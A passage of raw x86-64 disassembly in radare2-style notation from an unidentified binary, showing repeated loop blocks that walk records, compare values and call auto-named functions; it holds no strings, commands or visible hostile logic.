nop dword [rax]
cmp rbx, r10
jne 0x4e5d4a
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e5de9
mov r10, qword [rsp + 0xb0]
jmp 0x4e5d4a
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0xe0]
nop dword [rax]
cmp rdx, r12
jl 0x4e55e5
mov rcx, qword [0x005eb890]
mov rdi, qword [0x005eb898]
mov rsi, qword [0x005eb8a0]
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
lea r8, [0x00510d03]
mov r9d, 1
nop dword [rax + rax]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
nop dword [rax]
call fcn.004e02a0
jmp 0x4e55e5
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rax, qword [rsp + 0x138]
inc rax
mov r12, qword [rsp + 0xe8]
cmp rax, r12
jge 0x4e5f23
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x2c0]
call fcn.0044cb00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x2e0]
lea rbx, [0x00510d11]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
nop dword [rax]
cmp rbx, r10
jne 0x4e5e6a
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e5f09
mov r10, qword [rsp + 0xb0]
jmp 0x4e5e6a
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0xe8]
nop dword [rax]
cmp rdx, r12
jl 0x4e5585
mov rcx, qword [0x005eb7f0]
mov rdi, qword [0x005eb7f8]
mov rsi, qword [0x005eb800]
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
lea r8, [0x00510d11]
mov r9d, 1
nop dword [rax + rax]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
nop dword [rax]
call fcn.004e02a0
jmp 0x4e5585
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rax, qword [rsp + 0x138]
inc rax
mov r12, qword [rsp + 0xf0]
cmp rax, r12
jge 0x4e6043
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x300]
call fcn.0044cb00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x320]
lea rbx, [0x00510cfe]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
nop dword [rax]
cmp rbx, r10
jne 0x4e5f8a
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e6029
mov r10, qword [rsp + 0xb0]
jmp 0x4e5f8a
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0xf0]
nop dword [rax]
cmp rdx, r12
jl 0x4e5527
mov rcx, qword [0x005eb830]
mov rdi, qword [0x005eb838]
mov rsi, qword [0x005eb840]
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
lea r8, [0x00510cfe]
mov r9d, 1
nop dword [rax + rax]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
nop dword [rax]
call fcn.004e02a0
jmp 0x4e5527
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rax, qword [rsp + 0x138]
inc rax
mov r12, qword [rsp + 0xf8]
cmp rax, r12
jge 0x4e6163
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x340]
call fcn.0044cb00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x360]
lea rbx, [0x00510cfd]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
nop dword [rax]
cmp rbx, r10
jne 0x4e60aa
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e6149
mov r10, qword [rsp + 0xb0]
jmp 0x4e60aa
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0xf8]
nop dword [rax]
cmp rdx, r12
jl 0x4e54cf
mov rcx, qword [0x005eb810]
mov rdi, qword [0x005eb818]
mov rsi, qword [0x005eb820]
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
lea r8, [0x00510cfd]
mov r9d, 1
nop dword [rax + rax]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
nop dword [rax]
call fcn.004e02a0
jmp 0x4e54cf
call fcn.0045fde0
jmp fcn.004e4700